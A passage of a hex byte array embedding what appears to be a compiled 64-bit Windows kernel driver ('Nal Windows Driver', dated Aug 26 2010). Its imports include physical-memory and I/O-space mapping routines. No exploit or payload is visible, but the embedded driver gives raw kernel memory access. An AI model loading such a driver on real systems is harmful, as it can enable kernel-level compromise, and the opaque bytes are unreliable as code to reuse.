0x64, 0x00, 0x00, 0x5b, 0x27, 0x00, 0x00, 0x60, 0x27, 0x00, 0x00, 0x30, 0x64, 0x00, 0x00, 0x60, 0x27, 0x00, 0x00, 0x36, 0x28, 0x00, 0x00, 0x14, 0x64, 0x00, 0x00, 0x40, 0x28, 0x00, 0x00, 0x61, 0x28, 0x00, 0x00, 0x5c, 0x64, 0x00, 0x00, 0x70, 0x28, 0x00, 0x00, 0x79, 0x28, 0x00, 0x00, 0xa4, 0x64, 0x00, 0x00, 0x79, 0x28, 0x00, 0x00, 0xbe, 0x28, 0x00, 0x00, 0x90, 0x64, 0x00, 0x00, 0xbe, 0x28, 0x00, 0x00, 0xc3, 0x28, 0x00, 0x00, 0x80, 0x64, 0x00, 0x00, 0xc3, 0x28, 0x00, 0x00, 0x43, 0x29, 0x00, 0x00, 0x64, 0x64, 0x00, 0x00, 0x50, 0x29, 0x00, 0x00, 0x84, 0x29, 0x00, 0x00, 0x08, 0x65, 0x00, 0x00, 0x84, 0x29, 0x00, 0x00, 0x9f, 0x29, 0x00, 0x00, 0xf4, 0x64, 0x00, 0x00, 0x9f, 0x29, 0x00, 0x00, 0x09, 0x2a, 0x00, 0x00, 0xe0, 0x64, 0x00, 0x00, 0x09, 0x2a, 0x00, 0x00, 0x22, 0x2a, 0x00, 0x00, 0xd0, 0x64, 0x00, 0x00, 0x22, 0x2a, 0x00, 0x00, 0x26, 0x2a, 0x00, 0x00, 0xbc, 0x64, 0x00, 0x00, 0x26, 0x2a, 0x00, 0x00, 0x3f, 0x2a, 0x00, 0x00, 0xac, 0x64, 0x00, 0x00, 0x50, 0x2a, 0x00, 0x00, 0x70, 0x2a, 0x00, 0x00, 0x58, 0x65, 0x00, 0x00, 0x70, 0x2a, 0x00, 0x00, 0xd9, 0x2a, 0x00, 0x00, 0x40, 0x65, 0x00, 0x00, 0xd9, 0x2a, 0x00, 0x00, 0xea, 0x2a, 0x00, 0x00, 0x2c, 0x65, 0x00, 0x00, 0xea, 0x2a, 0x00, 0x00, 0xf9, 0x2a, 0x00, 0x00, 0x1c, 0x65, 0x00, 0x00, 0x00, 0x2b, 0x00, 0x00, 0xea, 0x2b, 0x00, 0x00, 0x64, 0x65, 0x00, 0x00, 0xf0, 0x2b, 0x00, 0x00, 0xec, 0x2c, 0x00, 0x00, 0x74, 0x65, 0x00, 0x00, 0x00, 0x2d, 0x00, 0x00, 0x19, 0x2d, 0x00, 0x00, 0xf0, 0x65, 0x00, 0x00, 0x19, 0x2d, 0x00, 0x00, 0x60, 0x2e, 0x00, 0x00, 0xc8, 0x65, 0x00, 0x00, 0x60, 0x2e, 0x00, 0x00, 0x27, 0x30, 0x00, 0x00, 0xb0, 0x65, 0x00, 0x00, 0x27, 0x30, 0x00, 0x00, 0x59, 0x30, 0x00, 0x00, 0xa0, 0x65, 0x00, 0x00, 0x59, 0x30, 0x00, 0x00, 0x7f, 0x30, 0x00, 0x00, 0x8c, 0x65, 0x00, 0x00, 0xa0, 0x30, 0x00, 0x00, 0x37, 0x32, 0x00, 0x00, 0xf8, 0x65, 0x00, 0x00, 0x40, 0x32, 0x00, 0x00, 0xca, 0x32, 0x00, 0x00, 0x5c, 0x66, 0x00, 0x00, 0xca, 0x32, 0x00, 0x00, 0xf5, 0x32, 0x00, 0x00, 0x48, 0x66, 0x00, 0x00, 0xf5, 0x32, 0x00, 0x00, 0x92, 0x34, 0x00, 0x00, 0x28, 0x66, 0x00, 0x00, 0x92, 0x34, 0x00, 0x00, 0xa7, 0x34, 0x00, 0x00, 0x18, 0x66, 0x00, 0x00, 0xa7, 0x34, 0x00, 0x00, 0xc3, 0x34, 0x00, 0x00, 0x08, 0x66, 0x00, 0x00, 0xd0, 0x34, 0x00, 0x00, 0xdb, 0x34, 0x00, 0x00, 0xa0, 0x66, 0x00, 0x00, 0xdb, 0x34, 0x00, 0x00, 0x84, 0x35, 0x00, 0x00, 0x84, 0x66, 0x00, 0x00, 0x84, 0x35, 0x00, 0x00, 0xbf, 0x35, 0x00, 0x00, 0x6c, 0x66, 0x00, 0x00, 0xd0, 0x35, 0x00, 0x00, 0xdb, 0x35, 0x00, 0x00, 0xe0, 0x66, 0x00, 0x00, 0xdb, 0x35, 0x00, 0x00, 0x90, 0x36, 0x00, 0x00, 0xc4, 0x66, 0x00, 0x00, 0x90, 0x36, 0x00, 0x00, 0xca, 0x36, 0x00, 0x00, 0xac, 0x66, 0x00, 0x00, 0xd0, 0x36, 0x00, 0x00, 0x0e, 0x37, 0x00, 0x00, 0x10, 0x67, 0x00, 0x00, 0x0e, 0x37, 0x00, 0x00, 0x3c, 0x37, 0x00, 0x00, 0xfc, 0x66, 0x00, 0x00, 0x3c, 0x37, 0x00, 0x00, 0x4b, 0x37, 0x00, 0x00, 0xec, 0x66, 0x00, 0x00, 0x60, 0x37, 0x00, 0x00, 0x33, 0x38, 0x00, 0x00, 0x1c, 0x67, 0x00, 0x00, 0x40, 0x38, 0x00, 0x00, 0xff, 0x38, 0x00, 0x00, 0x34, 0x67, 0x00, 0x00, 0x10, 0x39, 0x00, 0x00, 0x81, 0x39, 0x00, 0x00, 0x50, 0x67, 0x00, 0x00, 0x90, 0x39, 0x00, 0x00, 0xc6, 0x39, 0x00, 0x00, 0x84, 0x67, 0x00, 0x00, 0xc6, 0x39, 0x00, 0x00, 0x90, 0x3a, 0x00, 0x00, 0x70, 0x67, 0x00, 0x00, 0x90, 0x3a, 0x00, 0x00, 0xaa, 0x3a, 0x00, 0x00, 0x60, 0x67, 0x00, 0x00, 0xb0, 0x3a, 0x00, 0x00, 0x88, 0x3c, 0x00, 0x00, 0x94, 0x67, 0x00, 0x00, 0x90, 0x3c, 0x00, 0x00, 0x7a, 0x3d, 0x00, 0x00, 0xb4, 0x67, 0x00, 0x00, 0x90, 0x3d, 0x00, 0x00, 0xdf, 0x3d, 0x00, 0x00, 0xc4, 0x67, 0x00, 0x00, 0xf0, 0x3d, 0x00, 0x00, 0x2a, 0x3e, 0x00, 0x00, 0xcc, 0x67, 0x00, 0x00, 0x30, 0x3e, 0x00, 0x00, 0x76, 0x3e, 0x00, 0x00, 0xd4, 0x67, 0x00, 0x00, 0x80, 0x3e, 0x00, 0x00, 0x1e, 0x3f, 0x00, 0x00, 0xdc, 0x67, 0x00, 0x00, 0x30, 0x3f, 0x00, 0x00, 0xf4, 0x41, 0x00, 0x00, 0xe4, 0x67, 0x00, 0x00, 0x00, 0x42, 0x00, 0x00, 0x2a, 0x42, 0x00, 0x00, 0xf4, 0x67, 0x00, 0x00, 0x10, 0x20, 0x5d, 0x00, 0x33, 0x20, 0x5d, 0x00, 0x2c, 0x62, 0x00, 0x00, 0x33, 0x20, 0x5d, 0x00, 0x4e, 0x21, 0x5d, 0x00, 0x18, 0x62, 0x00, 0x00, 0x4e, 0x21, 0x5d, 0x00, 0xf9, 0x21, 0x5d, 0x00, 0x08, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xc4, 0x48, 0x83, 0xec, 0x68, 0x48, 0x89, 0x58, 0x18, 0x48, 0x8b, 0xd9, 0x4c, 0x8d, 0x05, 0xab, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x74, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x5d, 0x02, 0x00, 0x00, 0x48, 0x89, 0x78, 0x20, 0xe8, 0xd4, 0xfe, 0xa2, 0xff, 0x33, 0xff, 0x48, 0x8d, 0x05, 0x7b, 0xde, 0xfe, 0xff, 0x89, 0x3d, 0xd5, 0x50, 0xa3, 0xff, 0xba, 0x00, 0x01, 0x00, 0x00, 0x40, 0x88, 0xb8, 0x08, 0x01, 0x00, 0x00, 0x48, 0x89, 0x38, 0x48, 0x05, 0x10, 0x01, 0x00, 0x00, 0x48, 0xff, 0xca, 0x75, 0xeb, 0x48, 0x8d, 0x05, 0x04, 0xf0, 0xa2, 0xff, 0x48, 0x8d, 0x0d, 0xdd, 0x59, 0xe0, 0xff, 0xba, 0x50, 0xc3, 0x00, 0x00, 0x48, 0x89, 0x43, 0x70, 0x48, 0x8d, 0x05, 0x4d, 0xf0, 0xa2, 0xff, 0x48, 0x89, 0x83, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x9f, 0xf0, 0xa2, 0xff, 0x48, 0x89, 0x83, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x71, 0xef, 0xa2, 0xff, 0x48, 0x89, 0x43, 0x68, 0x48, 0x8d, 0x05, 0x9e, 0x50, 0xa3, 0xff, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x89, 0x78, 0xf8, 0x48, 0x89, 0x38, 0x48, 0x89, 0x78, 0x10, 0x48, 0x89, 0x78, 0x08, 0x89, 0x78, 0x20, 0x89, 0x78, 0x24, 0x48, 0x89, 0x78, 0x18, 0x48, 0x89, 0x78, 0x28, 0x48, 0x89, 0x78, 0x30, 0x48, 0x89, 0x78, 0x38, 0x48, 0x89, 0x78, 0x40, 0x48, 0x89, 0x79, 0x08, 0x48, 0x89, 0x39, 0x48, 0x89, 0x79, 0xf0, 0x48, 0x89, 0x79, 0xf8, 0x48, 0x89, 0x79, 0x10, 0x48, 0x83, 0xc0, 0x50, 0x48, 0x83, 0xc1, 0x28, 0x48, 0xff, 0xca, 0x75, 0xb8, 0x48, 0x8d, 0x0d, 0x21, 0x27, 0xa3, 0xff, 0xe8, 0x0c, 0xfe, 0xa2, 0xff, 0x48, 0x8d, 0x15, 0xf5, 0x26, 0xa3, 0xff, 0x48, 0x8d, 0x4c, 0x24, 0x40, 0xff, 0x15, 0x8a, 0x3f, 0xa3, 0xff, 0x4c, 0x8d, 0x5c, 0x24, 0x70, 0x4c, 0x8d, 0x44, 0x24, 0x40, 0x4c, 0x89, 0x5c, 0x24, 0x30, 0x41, 0xb9, 0x86, 0x80, 0x00, 0x00, 0xba, 0x18, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x40, 0x88, 0x7c, 0x24, 0x28, 0x89, 0x7c, 0x24, 0x20, 0xff, 0x15, 0xde, 0x3e, 0xa3, 0xff, 0x48, 0x8b, 0xbc, 0x24, 0x88, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x79, 0x15, 0x48, 0x8d, 0x0d, 0x6b, 0x26, 0xa3, 0xff, 0x8b, 0xd0, 0xe8, 0xb4, 0xfd, 0xa2, 0xff, 0xb8, 0x01, 0x00, 0x00, 0xc0, 0xeb, 0x36, 0x48, 0x8b, 0x44, 0x24, 0x70, 0x48, 0x8d, 0x15, 0x31, 0x26, 0xa3, 0xff, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x43, 0x08, 0x48, 0x8b, 0x58, 0x40, 0x48, 0x89, 0x03, 0xff, 0x15, 0x1b, 0x3f, 0xa3, 0xff, 0x48, 0x8d, 0x54, 0x24, 0x40, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0xff, 0x15, 0x83, 0x3e, 0xa3, 0xff, 0x85, 0xc0, 0x79, 0x1b, 0x48, 0x8d, 0x0d, 0xc0, 0x25, 0xa3, 0xff, 0x8b, 0xd0, 0xe8, 0x69, 0xfd, 0xa2, 0xff, 0x48, 0x8b, 0x4c, 0x24, 0x70, 0xff, 0x15, 0x86, 0x3f, 0xa3, 0xff, 0xeb, 0x1e, 0x48, 0x8b, 0x44, 0x24, 0x70, 0x83, 0x48, 0x30, 0x04, 0x48, 0x8b, 0x44, 0x24, 0x70, 0x81, 0x60, 0x30, 0x7f, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x70, 0x48, 0x89, 0x43, 0x08, 0x48, 0x8d, 0x0d, 0x57, 0x25, 0xa3, 0xff, 0xe8, 0x32, 0xfd, 0xa2, 0xff, 0x48, 0x8d, 0x0d, 0x7b, 0x00, 0x00, 0x00, 0xe8, 0x26, 0xfd, 0xa2, 0xff, 0x48, 0x8b, 0x9c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x68, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0x05, 0x01, 0x4f, 0xa3, 0xff, 0x49, 0xb9, 0x32, 0xa2, 0xdf, 0x2d, 0x99, 0x2b, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x05, 0x49, 0x3b, 0xc1, 0x75, 0x2f, 0x4c, 0x8d, 0x05, 0xe6, 0x4e, 0xa3, 0xff, 0x48, 0xb8, 0x20, 0x03, 0x00, 0x00, 0x80, 0xf7, 0xff, 0xff, 0x48, 0x8b, 0x00, 0x49, 0x33, 0xc0, 0x49, 0xb8, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x49, 0x23, 0xc0, 0x49, 0x0f, 0x44, 0xc1, 0x48, 0x89, 0x05, 0xbe, 0x4e, 0xa3, 0xff, 0x48, 0xf7, 0xd0, 0x48, 0x89, 0x05, 0xac, 0x4e, 0xa3, 0xff, 0xe9, 0xb7, 0xfd, 0xff, 0xff, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x3a, 0x20, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x41, 0x75, 0x67, 0x20, 0x32, 0x36, 0x20, 0x32, 0x30, 0x31, 0x30, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0x0a, 0x4e, 0x61, 0x6c, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x20, 0x4c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x20, 0x2d, 0x2d, 0x20, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x64, 0x20, 0x25, 0x73, 0x20, 0x25, 0x73, 0x0a, 0x00, 0xcc, 0xcc, 0x30, 0x36, 0x3a, 0x34, 0x38, 0x3a, 0x34, 0x39, 0x00, 0xcc, 0xcc, 0xcc, 0x30, 0x23, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4e, 0x27, 0x5d, 0x00, 0x18, 0x60, 0x00, 0x00, 0x18, 0x23, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0x27, 0x5d, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5c, 0x27, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x27, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa2, 0x24, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x24, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcc, 0x24, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe2, 0x24, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfa, 0x24, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbc, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xda, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8a, 0x24, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x96, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd6, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe2, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xec, 0x26, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x27, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x27, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x27, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x24, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf4, 0x25, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x24, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5f, 0x01, 0x49, 0x6f, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x61, 0x01, 0x49, 0x6f, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x69, 0x63, 0x4c, 0x69, 0x6e, 0x6b, 0x00, 0x00, 0x3e, 0x04, 0x52, 0x74, 0x6c, 0x49, 0x6e, 0x69, 0x74, 0x55, 0x6e, 0x69, 0x63, 0x6f, 0x64, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x00, 0x00, 0x55, 0x01, 0x49, 0x6f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x69, 0x63, 0x4c, 0x69, 0x6e, 0x6b, 0x00, 0x00, 0x4c, 0x01, 0x49, 0x6f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0xf6, 0x01, 0x49, 0x6f, 0x66, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, 0x46, 0x00, 0x45, 0x78, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x65, 0x50, 0x6f, 0x6f, 0x6c, 0x57, 0x69, 0x74, 0x68, 0x54, 0x61, 0x67, 0x00, 0x58, 0x00, 0x45, 0x78, 0x46, 0x72, 0x65, 0x65, 0x50, 0x6f, 0x6f, 0x6c, 0x57, 0x69, 0x74, 0x68, 0x54, 0x61, 0x67, 0x00, 0xc0, 0x02, 0x4d, 0x6d, 0x47, 0x65, 0x74, 0x50, 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6c, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x00, 0x31, 0x00, 0x44, 0x62, 0x67, 0x50, 0x72, 0x69, 0x6e, 0x74, 0x00, 0x00, 0xc2, 0x05, 0x73, 0x70, 0x72, 0x69, 0x6e, 0x74, 0x66, 0x00, 0xd6, 0x05, 0x76, 0x73, 0x70, 0x72, 0x69, 0x6e, 0x74, 0x66, 0x00, 0x00, 0x72, 0x01, 0x49, 0x6f, 0x46, 0x72, 0x65, 0x65, 0x4d, 0x64, 0x6c, 0x00, 0xd1, 0x02, 0x4d, 0x6d, 0x4d, 0x61, 0x70, 0x4c, 0x6f, 0x63, 0x6b, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x00, 0x00, 0xb2, 0x02, 0x4d, 0x6d, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x4d, 0x64, 0x6c, 0x46, 0x6f, 0x72, 0x4e, 0x6f, 0x6e, 0x50, 0x61, 0x67, 0x65, 0x64, 0x50, 0x6f, 0x6f, 0x6c, 0x00, 0x33, 0x01, 0x49, 0x6f, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x65, 0x4d, 0x64, 0x6c, 0x00, 0xee, 0x02, 0x4d, 0x6d, 0x55, 0x6e, 0x6d, 0x61, 0x70, 0x49, 0x6f, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0xef, 0x02, 0x4d, 0x6d, 0x55, 0x6e, 0x6d, 0x61, 0x70, 0x4c, 0x6f, 0x63, 0x6b, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x00, 0x00, 0xac, 0x02, 0x4d, 0x6d, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x69, 0x67, 0x75, 0x6f, 0x75, 0x73, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x00, 0x00, 0xbb, 0x02, 0x4d, 0x6d, 0x46, 0x72, 0x65, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x69, 0x67, 0x75, 0x6f, 0x75, 0x73, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x00, 0x00, 0xd0, 0x02, 0x4d, 0x6d, 0x4d, 0x61, 0x70, 0x49, 0x6f, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0x52, 0x03, 0x4f, 0x62, 0x66, 0x44, 0x65, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x00, 0x00, 0x95, 0x02, 0x4b, 0x65, 0x57, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x53, 0x69, 0x6e, 0x67, 0x6c, 0x65, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x00, 0xf5, 0x01, 0x49, 0x6f, 0x66, 0x43, 0x61, 0x6c, 0x6c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x00, 0x3e, 0x01, 0x49, 0x6f, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x53, 0x79, 0x6e, 0x63, 0x68, 0x72, 0x6f, 0x6e, 0x6f, 0x75, 0x73, 0x46, 0x73, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, 0x2e, 0x02, 0x4b, 0x65, 0x49, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x69, 0x7a, 0x65, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x00, 0x25, 0x05, 0x5a, 0x77, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x00, 0x21, 0x04, 0x52, 0x74, 0x6c, 0x46, 0x72, 0x65, 0x65, 0x41, 0x6e, 0x73, 0x69, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x00, 0xce, 0x05, 0x73, 0x74, 0x72, 0x73, 0x74, 0x72, 0x00, 0x00, 0xb2, 0x04, 0x52, 0x74, 0x6c, 0x55, 0x6e, 0x69, 0x63, 0x6f, 0x64, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x41, 0x6e, 0x73, 0x69, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x00, 0x00, 0x3c, 0x05, 0x5a, 0x77, 0x45, 0x6e, 0x75, 0x6d, 0x65, 0x72, 0x61, 0x74, 0x65, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4b, 0x65, 0x79, 0x00, 0x4f, 0x05, 